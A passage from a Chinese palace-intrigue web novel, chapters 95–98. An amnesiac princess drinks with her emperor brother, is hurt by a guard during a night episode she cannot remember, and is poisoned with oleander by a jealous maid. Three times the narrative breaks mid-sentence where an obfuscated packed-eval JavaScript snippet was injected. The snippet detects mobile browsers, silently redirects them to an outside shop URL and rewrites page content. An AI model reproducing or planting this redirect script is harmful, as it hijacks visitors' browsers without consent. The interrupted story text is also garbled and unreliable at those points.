“自然是看不惯文小姐的娇柔,她又一贯嘴冷,闹些矛盾是正常的,不过今日二人竟动起手来,奴婢劝架反倒被文小姐一顿讥讽……”舒雁心中委屈,不知不觉竟然说了出来。 暖暖恍然,原来她先是受了文瑶的气又被自己斥责,怪不得今日这般委屈,于是安慰道:“回头我让她给你赔罪。” 舒雁忙说道:“奴婢不敢……奴婢说几句僭越的话,公主待底下人太过宽厚了,咱这殿中的侍女愈发懒散,也该好好立立规矩了。” 暖暖驻足,笑着对她说道:“亏得有你在我身边,不然真不知如何是好了……你还真是当家的好材料,不如你跟了陛下,为他掌管中宫,如何?” 只是一句玩笑话,舒雁便立刻白了脸,跪下道:“公主别开奴婢玩笑,奴婢从未有如此想法,以前没有,现在也没有。” 暖暖脑海中闪现了一些记忆,舒雁以前的确是说过这样的话,她拉起舒雁,说道:“我记起来了,你以前说过的。” 舒雁眼眸微微泛湿:“奴婢知道公主是为了奴婢着想,可您知道吗?这一天能走完的皇宫,对后宫之中的人来说,却是一辈子都走不出去的地方。” 暖暖听了这话,一阵莫名的伤感涌上心头,她要守着锦囊,在这里一辈子了。 后苑都绣球花开得正盛,暖暖却无意欣赏。 95. 回首萧瑟处 回到寝殿,案几上堆了半尺高的书卷,画眉说是成王殿下遣人送来的,还叮嘱公主有时间多读书,不要将课业荒废了。 暖暖翻了翻,是郑玄注释的论语,真是十分无趣,等见到了四哥再跟他要几本杂书来看,忽而又想起四哥已经是陛下了,哪里还会有这些书,又是一阵失落。 日子照旧,暖暖似乎失去了对周围一切事物的新鲜感,打不起一点精神来,能坐着不站着、能躺着不坐着。 而且她发现自己十分易怒,日常里有一点不如她的意,便想发脾气。 起初她还十分注意隐忍,后来觉得忍耐只能让她更生气,有一次甚至对文瑶发了脾气,看着文瑶泪眼汪汪,又陷入深深的自责。 一个晴朗的午后,她正百无聊赖之时,成王妃着人过来,说是今日得了几尾刀鱼,叫公主过去,一起趁新鲜吃。 对于这个既亲切又陌生的姐姐,心中是有愧疚的,她有些不敢面,若不是她,夏萱已是中宫之主。 终于,还是梳洗更衣,来到了建章殿。 夏萱见了她倒是一如往常,心疼地说道:“看着脸色差的,你那边我不方便过去,你也不来看看我。” 暖暖规规矩矩地回答:“总觉得没有精神,不想出门,再者姐姐协理六宫繁忙,就没来打扰姐姐。” “怎么还跟我客气起来了?说是协理六宫,可陛下这六宫哪里有什么人,能有多少事,也不知道陛下是怎么想的,不立后也不纳妃嫔,谁劝也不听。” “大约是政务繁忙。” 夏萱拉着她进了殿内,小声说道:“你身边的文家小姐,文瑶,听说是为了陛下才屈当侍女进宫来的,如此痴情,陛下难道看不见?” “姐姐快别说了,若陛下能看见,也不会把人推给我了。” 暖暖近日来也对文瑶十分头痛,金华殿上下对文瑶已是十分怨怼,而她也不敢过分苛责这位世家小姐。 “我就知道你下不了她的面子,改日我替你去说她,你那殿中也该好好整顿整顿了。” 二人正说话间,青琚来回话:“回王妃,给殿下的膳食已经装食盒了,咱这边只等小殿下放学回来便可用膳。” 夏萱:“好,着人送过去吧。” 暖暖问:“怎么,三哥哥不回来用膳吗?” “他哪里有时间呀?每日早出晚归的,留宿太极殿都是常事,孩子们几日都没见到父亲了。” “这离太极殿也不算远,怎么会见不到?” “孩子还未起时他已经走了,孩子睡下了才回来,所以见不到。” “陛下用人有太狠了吧!连家都不让回来。”暖暖替夏萱抱不平。 夏萱压低了声音:“慎言!如今朝堂不稳,正是要紧的时候。” 暖暖忽然想起她有些事要对叶皓说,于是说道:“我去给哥哥送吧,好久没见到陛下了,去看看他。” “也好。”夏萱倒是很痛快地答应了,之后便命人提了食盒与她同去。 两个侍女一人提一个食盒跟随公主来到了太极殿。 中官见公主到来,赶紧进殿内通报,殿内的争吵声戛然而止,之后那中官出来请公主进去。 暖暖的到来让殿内紧张的气氛有所缓和,她见礼问安。 叶皓说道:“不必多礼,你怎么来了?有事?” “姐姐让我来给三哥送膳食。” 还未等叶均开口,叶皓先说道:“三嫂做的膳食,快拿进来。” 一中官赶紧出去让侍女将食盒端来进来,盒子打开,香气瞬间弥漫开来,让暖暖这个不思饮食的人都有些流口水。 “这膳食朕就截胡了,三哥,你回去用膳吧,刚才的事明日再议,暖暖你留下,我有事对你说。” 暖暖正好不想回去,应声行礼:“是。” 叶均眉头一皱,似乎有话要说,但见暖暖应下来,便说道:“是……臣遵旨。”说完规规矩矩的行礼告退。 叶皓对一众中官说道:“不必伺候着了,朕对公主有话说。”中官们应声而退,殿内只剩下了兄妹二人。 叶皓换了个舒服的坐姿,感叹道:“唉!日日板着,连坐着都要受规矩。” “你怎么让三哥回去了?” “我日日押着他,三嫂不知怎么怨我呢……” 暖暖着急维护夏萱,说道:“她没有,姐姐她可是识大体的。” “呵,还是姐妹最亲呀!唉!最近忙得很,好久没去看你了,最近怎么样?” “还是老样子,还能怎么样?每日吃了睡、睡了吃。”暖暖边说边夹了一口鱼肉。 叶皓看她吃饭的样子,不由得笑了。 暖暖不解其意:“你笑什么?” “也就咱哥儿俩用膳没那么多禁忌,想怎么用就怎么用。不过,有了美食,还少点什么。”说完叶皓起身在木架的格子里一顿找,最后竟拿出来一坛酒。 坛子一开,浓郁的醇香散发着迷人的香气,他又顺手拿了两个茶盏当酒杯。 暖暖简直不可思议:“堂堂梁帝,竟然藏酒。” “还记得我之前和你说的我有个喜欢酿酒的朋友吗?这是他新酿的酒,名叫梨花春,是今年梨花开的时候酿的,我都藏了好久没舍得喝了,今日一起尝尝。” 暖暖喝了一小口品了品,赞叹道:“人间极品,这段时间都没饮酒了,我大约是忘了还有忘忧水这个东西了。” “你身子不好,要少饮一些,头疾怎么样了?” “时好时坏,你怎么样?”这番对话,让暖暖到觉得他们之间,竟如久别重逢的老友一般。 叶皓饮了一盏,感叹道:“每日紧紧张张,没有一刻闲暇,依我这副德行,坐在这个位置上真是有愧,若没有三哥,真不知该如何是好。” “我记得你是为了什么要紧的事,为了什么来着?我不记得了……” 暖暖只记得她是因为叶皓曾经说过“我要得到权利,登上那个位置”,而改了遗照,可却记不清是为了什么。虽然记不得了,但是她为了他这句话竟然如此逆天而行,想必背后的事情一定比天还重要。 叶皓抬头看了她一眼,这么重要的是她竟然不记得了,不由得微微皱眉头:“是,为秦羽和长右山,在这个位置上会我才有能力为他们报仇。” 暖暖敲了敲头,说道:“秦羽是谁?长右山在哪里?他们对你来说应该很重要吧。” “非常重要,秦羽是我的侍卫,因护我而死;长右山是我的师门,我还有个师弟……这些,你都不记得了吗?你学的剑术就是长右山剑法。” “我没有印象,我的剑术……难道我也是在长右山学的?” “不是,是我师……”话到了嘴边叶皓还是犹豫了,这些事硬塞给她,只怕会让她更加痛苦,于是改口道:“算了,想不起来就不要想了,都是过去的事了。” 暖暖很失望,叹息道:“你们都说:都是过去的事了。可我的过去是什么?你知道这种感受吗?所有人都能说出我以前做了什么,去过哪里,可我却一点也没有印象。这种感觉真的很痛苦,我只能不去想它,让日子就这样过下去。” “这样倒也不错,知道的越少烦恼越少。” 二人说完碰了一下盏,各自一饮而尽。 暖暖想起画眉的事,说道:“我还真有两件事求你。” “什么求不求的,说吧。” “画眉和那日接应你的卫尉肖云平情投意合,还请你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376298|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下旨赐婚。” “可以……肖云平为人忠诚正直、有胆有识,是个好归宿。” “第二件,我想解了舒雁的身契。” “我早就说过,她二人既然跟着你,一切你说了算,怎么,舒雁也有了人家?” 暖暖摇摇头:“她也是个死心眼,只说要跟我一辈子,我说让他跟了你,可把她吓坏了,哥,你说她怎么就看不上你。” “感情这事,不能强求,她本是我母妃给我安排的人,我一直不愿意,正好,她也不愿意。” 很快一坛酒见底了,有中官进来掌灯。 暖暖看着透过窗子月华,被烛光赶了出去,说道:“还有酒吗?我想去外面看着月亮喝。” “我就两坛,喝完就没了。” “小气,你想要什么样的美酒都有,偏偏舍不着这两坛。” “也罢,难得有这样的兴致!”叶皓便将另一坛酒也搬了出来。 二人持盏而出,于台阶上坐下,望月而饮。 “好久没抬头看看月光了,这大殿的屋顶太高,不然可以上去喝。”叶皓看着屋顶,想着以他的功夫应该是上不去的。 “这不是在王府,也不是在哥哥家,你现在是帝王,注意些形象……你为什么不让哥哥一家回去住?还赐了新宅子?” “不让三哥回去,是因为我真的太需要他了,我之前的种种行径,在一部分朝臣看来的确是难当大任,有三哥在能稳住朝堂,我才能放手去做其它的事情;不让三嫂回去,是因为杜兰芳。” “杜兰芳……杜兰芳是谁?” “三哥的侧室。” “什么?侧室?”暖暖 “对,三哥当年假意与杜家合作,娶了杜卫的侄女杜兰芳为侧妃,可其中伤害最大的是三嫂。杜兰芳虽然不在了,但是还是会留下痕迹,我不想这些痕迹再伤害他们一遍,那就把一切痕迹都抹掉。” “杜兰芳真是可怜。” “可怜之人必有可恨之处,嫂嫂不是不能容人之人,她若是能安分守己,嫂嫂怎么会执意离京,你又怎么会……”叶皓话说了一半才反应过来,赶紧喝了一口酒打住。 暖暖追问:“我会怎样?” “没什么……” “今日姐姐还说呢,你什么时候立后呢?” 叶皓苦笑了一声,顺势靠在台阶上,用一只胳膊撑住身体,一只胳膊将腰间的玉坠摘下,举过头顶,说道:“大概不会了,有它陪着就足够了。” “锦瑟”二字在暖暖脑中浮现出来,有些事情渐渐清晰起来,她记得锦瑟投靠了杜家,可又不像是投靠了杜家,她问道:“是锦瑟?她在哪儿?” “死了……”叶皓平淡的语气中透着深深的悲哀:“宫变的前一夜,翠微楼大火,人们在火场里找到两具遗骸和这个玉坠,这是当年我在洪汝河上赠予锦瑟的。” 说着他的眼泪滑落,拿起酒坛大口地喝了起来。 暖暖夺过酒坛:“你慢些……” 叶皓仰头望天,试图将泪水收回:“我想,那把火应该是锦瑟故意放的,拖住了杜纯之……我对她说了那样的狠话,她还是用命帮了我,可我甚至都没有办法为她悲伤。如果能重来一次,软语认错也好、强取豪夺也好,我一定会让她留在我身边。” 听到这里,暖暖的心忽然很痛很痛,像被突然挖掉一块似的,仿佛失去爱人的就是她自己一般,眼泪竟不住地涌出,可是这是为什么?她也不深追,自顾自地宣泄着情绪。 最后,暖暖抱着酒坛靠着叶皓的腿睡着了。 叶皓的理智告诉他再不可如暖暖一般,如此放纵自己的情绪。 他将玉坠挂在腰间,命人用肩舆将暖暖送回了金华殿。 96. 不平幽怨生 一夜安睡无梦。 第二日,暖暖醒来只觉头痛身痛,想着:这酒算什么好酒,后劲这么大,想抬手去揉揉头,又觉左肩一阵剧痛。 耳边响起夏萱的声音:“醒了,快去告诉陛下和殿下。” 睁开眼睛,看见夏萱和淑太妃都在自己身旁,她不明所以,忍着疼坐起来,问道:“发生了什么事?还惊动太妃亲自过来了?” 二人对视一眼,目光中都带着些疑惑,夏萱说道:“昨晚你被刺客打伤了。” 暖暖揉了揉头,又揉了揉左肩,待稍微清醒一些,才说道:“我的左肩好疼……什么刺客?宫里怎么会有刺客?” 此时,叶皓与叶均也从外间进来。 暖暖疑惑地问道:“你们……陛下怎么也来了?” 他们怎么来得这么快?应该是早就到了,她环视众人,都是一副神色凝重的表情,想必是出了什么大事。 叶均与叶皓见暖暖能起身了,也都松了一口气。 淑太妃对着一众侍女说道:“万幸没有事情,公主受到了惊吓,你们要好好服侍。”之后又对暖暖叮嘱了几句后带着夏萱离开了。 叶皓又命侍女退下,寝殿内只剩兄妹三人。 叶均看着他们二人,一副恨铁不成钢的样子说道:“我就知道我昨日不该单独留下你们二人,医官说得明明白白,暖暖的头疾不宜饮酒,怎么就不听?” 叶皓看着他这样子却笑了,说道:“这才是我三哥。” 叶均忽然意识到已是到自己的失态,但是心中怒气未消,只说道:“是臣僭越了,望陛下与公主好自为之。”说完头也不回地离开了。 暖暖见叶均生气不敢开口,待他走后才问道:“昨晚到底发生了什么事情?我是怎么回来的?” “是我派人送你回来的,具体怎么回事还没有查清楚,好了,休息吧,我还有事。” “我怎么一点也不记得,你们是不是又在诓我?到底发生了什么事?” “没有……别乱想了,昨日你喝得太多了,这酒后劲大殿很。”叶皓说完对她点了下头便出去来。 暖暖动了一下,发现左肩疼得厉害,解开衣服一看,竟然一片乌青,那刺客手上力道一定极大,而且此事一定会惊动殿外巡守的卫尉,这么大的动静,她竟然一点也不知道。 事情绝对不是这样,一定发生了什么事,她起身悄悄走到寝殿门口,听着外面的动静。 只见叶皓出了寝殿,叫舒雁与冰绡来回话。 冰绡见到叶皓便直挺挺地跪下,双手奉上皮鞭:“请陛下责罚。” 叶皓接过,看着皮鞭说道:“到底怎么回事,说清楚再责罚也不迟。” “昨夜公主被送回来后,舒雁与画眉服侍公主洗漱后便睡下了。五更天的时候,属下看见一个身着斗篷的人进了佛堂,不多时又出来,向公主寝殿走去,属下怕她加害公主便与之交了手,属下未料到刺客就是公主,下手……重了些。” “此事不怪你,但你伤了公主,这责罚先记下了。” 冰绡叩首:“谢陛下。” 叶皓疑惑更甚,为什么她什么也不记得,上次在佛堂的事她也不记得,于是又问舒雁:“公主平时可有这样的情况?不记得自己做了什么事?” 舒雁想了想:“上次陛下带公主从佛堂出来后,陛下刚走,公主就着了魔一般非要去佛堂,奴婢苦劝不听,还砸了药碗,但后来说起此事,公主却不记得了。” 叶皓转身,透过窗子和花木看向佛堂,缓缓问道:“可查看过佛堂里有异常吗?” 冰绡:“属下刚去查过,一切如常。” “公主现在还去佛堂吗?” 舒雁:“去,一日三次,独自一人从不间断。” 冰绡忽然想到了什么,说道:“回陛下,属下在侍卫营时见到过类似的情况,也如公主一般,那个侍卫像是有两副面孔,彼此之间做的事情互相不知道,医官诊断是‘离魂症’。” “离魂症……”叶皓反复思索着着这三个字:“后来怎么样了?” 冰绡沉默了一下,说道:“回陛下,他不堪折磨,自尽了。” 看来暖暖的病远比医官诊断得严重得多,叶皓听完,心头涌出一股寒意,不自觉地攥紧了拳头:“此事,谁也不许走漏风声,昨夜的事情……就按盗窃处理,还有,这件事不能让公主知道。” “离魂症……”暖暖也在心里默念着这几个字。 这是什么病?她安慰自己,只是失忆而已,不是生病,冰绡说得也不一定对,她又不是医官。 她默默回到床上躺下,闭上眼睛试图入眠。 叶皓自外间进来,看到暖暖在休息,心中叹了口气,这该如何是好?他想起曾带秦羽到临安访过的名医,只是那先生年事已高,不知还在不在人世。 抱着一线希望,他立即派季萧带了人马前往临安寻访,而眼下他需要做的就是让她保持一个好心情。 当日下午,一道赐婚送至了北城肖家,舒雁的身契和籍契也送至了金华殿。 画眉知道消息后,简直要喜极而泣,连连叩首:“多谢公主的大恩大德,公主的恩情画眉永世难忘。” 暖暖拉着的她手说道:“我能做的也只有这些了,以后好好过日子,夫妻和顺,白头到老,明日就出宫去,回家去待嫁。” 画眉擦了眼泪:“等公主身体康复了,奴婢再出宫去。” “我现在身体好得很。” 舒雁怕露出破绽,笑道:“公主,成婚之前还有好多礼仪,等婚期定下来再撵她出去也不迟。” “舒雁,有时间去支些银两,你们二人出宫去采买些首饰衣裳,算是我给画眉的陪嫁。” 画眉叩首再谢恩,之后暖暖命她出去传膳。 她又将籍契和身契交给了舒雁,舒雁捧着两张纸犹如捧着千斤重石一般,一时竟不知所措。 看着她的样子,暖暖笑道:“怎么,高兴傻了?” “我……奴婢是不知如何是好,奴婢是期盼着自由身,向往着宫墙外的生活,可……奴婢却没想过出去后要过什么样的生活。” 暖暖笑道:“那就现在就开始想想,时间还很多,不着急,想好了就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14385339|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来告诉我。” 时间的确很长,光阴的轮子似乎生锈了,转得艰难且迟缓。 她似乎对周围的一切都失去了兴趣,任何事情都提不起她的兴致,抄书和刺绣这些事变得有些困难,因为她很难集中起注意力来,她也想打起精神去改变,可每次都以失败告终。 西南战事吃紧,叶皓与叶均忙得不可开交。 在叶皓的授意下,淑太妃与夏萱借着盗窃事件彻查了整个后宫,关闭了多个佛堂,精简了后宫机构,裁掉了多余的宫人,这是为了省出一笔开销来维持军费。 当暖暖肩上的淤青消散的时候,画眉的婚期定下来,明年二月初八,还有半年多的时间。 婚期既定,她便命舒雁支了银两带画眉出宫去裁衣裳、挑首饰。 舒雁按流程报备,第二日与画眉早早出宫去了,临行前仔细叮嘱了冰绡服侍公主时要注意的事情。 冰绡却说:“有文瑶和那么多侍女,哪里需要到我。” 舒雁看了看文瑶的住处,摇了摇头,继续说道:“指望不上她,你多留心些。” 冰绡虽然这样说,但白日里还跟在了公主身边,她几乎无话,公主也不想说话,二人在房间里,安静得只剩下笔尖划过纸张的声音。 实在是太安静了,暖暖觉得十分压抑,主动开口:“冰绡,来陪我写字吧。” “属下不识字。” 暖暖诧异地看了她一眼。 冰绡解释道:“属下自幼入侍卫营,学的只有拼杀防御之术,没学过写字。” “哦,你姓什么?”暖暖没话找话。 “李。” “叫什么名字。” “没有名字。” “那别人怎么称呼你?” “侍卫营里的人都没有名字,按进入的时间,以天干地支命名。他们叫我李甲申。” 李甲申?暖暖差点笑出声来,这怎么能算是个名字呢?感叹道:“侍卫营真是不近人情,女孩子怎么可以叫这样的名字。” “侍卫营无需讲人情,也无男女之分。” 暖暖尴尬地咳了两下,开始怀念起舒雁来,若她在绝不会让话头掉地上,说话也不会是这般冰冷。 “冰绡这名字不错,你可知道是什么意思?”暖暖说着,提笔在纸上写下了“冰绡”二字。 冰绡摇摇头。 暖暖解释道:“绡是丝绸的意思,冰绡就是薄而洁白的丝绸。” 冰绡有些不屑:“只是一个名字而已。” “来,坐下,学着写写。”暖暖向边上挪了挪,将笔蘸了墨汁递给冰绡。 “属下不敢与公主同座。”冰绡上不敢有一丝逾矩。 暖暖再三要求,她才接过笔,站着写下了名字,字迹虽潦草但却棱角锋利,像是习武之人的写字。 就这样,二人倒也消磨了大半日的时光。 午膳后,渐渐热了起来,侍女端来了酥酪。 暖暖接过,见到碗里居然加了冰,十分喜欢,正欲动勺子,却被冰绡拦住。 她接过碗仔细闻了闻:“有毒。” 97. 投鼠当忌器 有毒?怎么会有毒?暖暖满脸难以置信。 冰绡叫来刚才送酥酪的侍女,问道:“这酥酪是何人送来的?” 侍女回道:“宫中膳房,说是今日有的牛乳十分新鲜,便做成酪酥给各宫都送了。” 话还未完,冰绡便急着出去,不多时又回来。 暖暖见她行事神秘,便屏退了侍女,问道:“会是谁?宫中已经清理了叛变的余党,我也没有仇家。” 冰绡回答道:“此事怕不是冲着公主来的,属下已让殿外卫尉悄悄通知了各宫和建章殿,还有此事暂不能声张,免得打草惊蛇。” 暖暖还未从错愕中反应过来:“怎么会有毒,膳房送来的食物都是验过的。” “有些毒是验不出来的,这酥酪里有夹竹桃汁液的味道。” “枝叶?你怎么闻得出叶子和枝条的味道?” “不是树枝和树叶,是树枝和树叶压榨出来的液体,有剧毒。” “你怎么看出来的?”暖暖依旧不解。 冰绡端起碗,放在阳光下:“属下自幼便受训练,视觉嗅觉便比常人灵敏一些。先看着颜色,酪酥本是白色或淡黄色,可这碗却隐隐可见绿色;再闻气味,有树枝的味道。” 暖暖端起碗来仔细瞧了瞧,果然在冰块与酥酪接触的地方才能看见十分浅显的绿色,而味道细闻闻,在香甜之后也的确有揉碎树叶的味道。 冰绡继续分析道:“下毒的手段并不高明,下毒之人应该就是宫中的侍女或中官,他没有途径去找其它的毒,只能用这些植物的毒。” 说话间有中官来将那碗酪苏拿走了,金华殿门口已被卫尉控制,不得任何人进出。 又过了半个时辰,夏萱带着一众人到来,她进殿后直奔暖暖,确认无碍后发话:“将殿内所有人都带过来。” 很快,院子里黑压压地跪了一片。 暖暖不想引起这么大的动静,对夏萱说道:“姐姐,悄悄将人找出来就算了,何必惊动这么多人。” 夏萱并不听劝:“今日敢对你下毒,明日便敢行刺陛下,这不是小事。你不要插手交由我来处理。” 她说完后给琼琚使了个眼色。 琼琚立即带人出去搜查,不多时便回来在她耳边耳语了几句,她思考了一下,又命人将三个人带到殿内审问。 同时,琼琚已将搜出来的夹竹桃拿到殿中。 夏萱在首位端坐,面色严峻地说道:“今日的酥酪,只有公主这里的被投了毒,接触过酥酪的就是你们三人,你们最好主动交代了。” 四个侍女你看看我,我看看你,战战兢兢的谁也不敢多言。 夏萱继续施压,说道:“毒害主上,是株连九族的重罪,你们若是自己承认了,本宫可酌情从轻处罚,若是不说,便要交个大理寺处理,大理寺的司刑丞可有的是方法让能你们开口。” 一个小侍女哆哆嗦嗦地回答道:“回王妃树枝是奴婢折的,奴婢手腕疼得厉害,干活使不上力气,听宫里的老嬷嬷说夹竹桃配明矾可以治疗,便折了来试试,但今日奴婢只是从外面接过食盒,并未打开,竹节可以做证。”说完用胳膊推了推身边那个叫竹节的侍女。 竹节立即说道:“是,是……回王妃,奴婢与她一起从膳房的人手里接过食盒,然后交给了银杏。” 银杏就是那个奉酥酪给暖暖的侍女,眼见矛头指到了她,她急急地回答:“奴婢想着天气热,酥酪还热着,等冰一下再给公主送去。” 琼琚问道:“所以你将冰直接放到碗里了?” 银杏:“不是,奴婢只是将碗放到了冰块上,是文瑶说怕公主一会睡下,吃不上酪酥,奴婢便去敲了些碎冰倒在了碗里,至于为什么会有毒,奴婢真的不知道。” 夏萱听完问道:“你去敲冰的时候,还有谁在酪酥旁边?” 银杏:“文瑶在旁边。” 夏萱听完有些不相信,但还是对琼琚使了个眼色,琼琚便命人将文瑶带来上来,又命其他人都出去。 暖暖的反应有些迟缓,她心中还在想:不会是文瑶。 夏萱先是喝了一口茶,然后缓缓说道:“文瑶,为什么要害公主?” 文瑶一听有些慌张,叩首说道:“王妃明鉴,不是我……我与公主情同姐妹,怎么会害她。” 琼琚:“放肆,公主身份尊贵,你既已入宫为婢,便要记得自己的身份,怎可与公主论姐妹。” “是……我……奴婢……”文瑶咬着牙,不情不愿地说出这几个字来。 琼琚继续说道:“我已经查过,你住处后面的墙缝里有许多夹竹桃,你将榨出来的汁液连同碎冰一起倒进了公主的酥酪里。” 文瑶慌乱地辩解道:“你……一切都是你的一面之词,你有什么证据说是我做的?也许……也许那冰里原本就有毒。” 夏萱见她不悔改,说道:“冰是宫里专供的,上午就送到了,别的宫里已有人用过,若有毒早就出事了,不还用等到此时?” 琼琚上前看了文瑶的手,说道:姑娘指甲缝里的绿色,正是捣夹竹桃留下来的吧。” 文瑶抽回来手,拉下衣袖,嗫喏道:“是……今日收落叶时染上的。” 冰绡听后翻了文瑶一个白眼,小声嘀咕道:“敢做不敢当。” 夏萱:“看姑娘的双手滑嫩,保养得不错,想必公主平日里也未让姑娘做过什么脏活累活,本宫听闻姑娘与公主有旧,陛下才特意将姑娘拨到了金华殿来,姑娘原也是官宦世家的小姐,这样做不怕连累父兄吗?” 琼琚补充道:“谋害公主罪同谋逆,轻者凶手处以极刑、家人流放千里,重者九族皆诛。” 文瑶长在深闺,娇养长大,哪里见过这样的阵仗,听到如此严重,赶紧爬到公主跟前,伸手想拉公主的裙摆哭,却被冰绡制服。 她哭道:“公主救我,是我一时糊涂,公主救我……” 琼琚呵斥:“还不快从实招来。” 文瑶一把鼻涕一把泪:“毒是我下的,我趁银杏不注意将夹竹桃的汁水倒进里酥酪里。” 暖暖还是不敢相信,问道:“文姐姐,为什么要这样做,你不是说我们是朋友吗?” 文瑶瘫坐在地,苦笑了一声:“我把你当朋友,你把我当朋友了吗?” 暖暖不解其意,脑中快速搜寻着自己是不是做过什么对不起她的事情,可越急越想不出来,只是茫然地看着她。 文瑶看着公主的样子,又是凄惨一笑:“我想和公主单独说话。” “不行。”夏萱一口否决。 暖暖按住夏萱的胳膊说道:“姐姐……” 夏萱怎敢同意:“我是怕她再加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14397701|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害于你。” “我会保护好自己的,你们先出去吧。” 夏萱忧心忡忡地看着暖暖对她点头示意,她只得带人出去。 冰绡上前将从靴中掏出一把匕首交给了公主后也出去了。 暖暖将匕首放在案几上,说道:“姐姐说吧。” 文瑶从地上起来,整理了一下衣衫,擦掉蓄在眼里的泪水,说道:“公主,我把你当朋友,所有的心事都和你讲,可你是怎样待我的?我让你转赠的荷包你可有转赠?” “什么荷包?给谁?” 她拿出一个彩蝶牡丹绣样的荷包,质问道:“又不记得了,是吗?不要用这当借口,你答应过我要将此转交给陛下,我说过成与不成我都不怨你,可你呢?早就将这事忘记了。” 在文瑶的逼问之下,暖暖只觉得头脑嗡鸣,又是这样的感觉,自己曾经经历过什么不得而知,可别人却一清二楚。 暖暖看着她,不知道说什么好。 文瑶继续诉说道:“我待你,自认问心无愧,什么心里话都对你说。可你呢?从来没有将我当成朋友。你可以为画眉去求陛下赐婚,可以为舒雁去要身契。我所求的并不多,可为什么这么一点点事情,你都不肯帮我!” 暖暖凭借着记忆碎片,语无伦次地说道:“我,不知道……哥哥他,无意与你,是你太执着……” 对记忆的深究让她痛苦不已,她甚至有些耳鸣。 “呵呵……是我太执着?我到底哪里不好,怎么就入不了陛下的眼?他可以骗过天下为你更换身份,可以不顾世俗舆论与那娼妓在一起,甚至对舒雁和画眉都可以说玩笑话,为什么他对每个女子都很好,却偏偏不愿看我一眼,为什么?”文瑶上前一步继续逼问。 暖暖只觉得头晕目眩,喃喃地说道:“我……不知道……真的不知道……” 文瑶只觉自己在对牛弹琴,一股怒气涌上,上前一步,抓住暖暖使劲摇了起来,低吼道:“你说?为什么?到底为什么?我为陛下蹉跎了这么些年,为什么什么也没得到?是不是你有私心,想独占陛下,陛下不立后不纳妃,是不是为了你?如此罔顾人伦,好不知耻。” “咚”的一声,门被撞开,叶皓快步进来。 文瑶被吓一跳松开了暖暖,暖暖已晕了过去,顺势倒下去,幸而叶皓接住了她。 立即有两个中官上来架起文瑶,将她按在地上。 叶皓脸色阴沉,语气冰冷:“朕告诉你为什么?朕早就回绝了你,的确是你执迷不悟。你与公主交好一直都是有目的,也不要怪她不与你交心。你内心龌龊,看人也龌龊,朕与公主是兄妹,你竟敢如此编排。还有,锦瑟是朕心中唯一的女子,容不得你如此辱没……将她带下去!听候发落。” 叶皓恨不得就此将她斩杀,可前朝后宫牵扯颇多,文家多少有从龙之功,此刻他还是颇有顾虑。 文瑶看着叶皓寒若冰霜的眼神,忍不住浑身发抖。 多年来,每次见到叶皓,他都是那般的谦谦有礼,这便让她心中总是有一点希望,但她不知他也是如此谦谦有礼地对待别人。 今时今日,此时此刻她,真真切切听到叶皓亲口说出‘说是你执迷不悟’,所有的希望都在一瞬间破灭,甚至感觉整个天都塌了。 这么多年的坚持,终究是一场空。 98. 梦醒魂魄归 叶皓使劲摇了摇了摇暖暖,她睁开眼睛,用手拍了拍头问道:“我又晕倒了?” 此时夏萱已经进来,匆匆给叶皓行礼后扶起她坐下,抚着她的背安抚道:“吓坏了吧,我就不该单独将你留下……” 暖暖倒是显得很平静:“倒也没有,只是刚才……感觉很奇怪,就好像是文瑶在对另一个人说话,而我在旁边看着一样。” 夏萱叹了口气,说道:“还说没吓坏,都开始说胡话了,走,咱们去寝殿休息。”说完带着暖暖向叶皓告退。 暖暖真的好像没经历过刚才的事一样,还在问:“怎么查出来的?” “只有你的酪酥是冰的,而且冰化了,自然与别的不一样,一眼就能看出端倪。” 叶皓听着这话十分不解,问冰绡道:“你是觉得公主刚才是说胡话吗?” 冰绡摇摇头:“回陛下,不像,属下以前说过的那个侍卫也曾出现过这样的情况。” 难道真的是‘离魂症’?叶皓捏了捏眉心,想着季萧什么时候能传回来消息来。 他看向冰绡,说道:“今日之事你有功,重赏。” “多谢陛下,保护公主安危本就是属下的职责,属下不需要赏赐,只是……” “只是什么?” “属下有一事不解,为什么不就地惩罚了下毒之人?” 叶皓叹了口气,说道:“别的侍女或许可以,但是她却不行,她是朝臣亲眷,前朝后宫牵连甚广,朕还需斟酌一下怎么处理。”说完他拿起匕首交到冰绡手里,感叹道:“冰绡你是不是觉得朕变了?以前赏罚分明、从不拖泥带水,可现在却是这般瞻前顾后的。” 奉命行事,不质疑上级,是冰绡所接受的教育,但她还是忍不住说道:“属下只知道,公主现在的日子过得……不开心。”说罢立即跪下,像是做错了什么事一般。 “怎么说?”叶皓看了她一眼,没想到她会如此说。 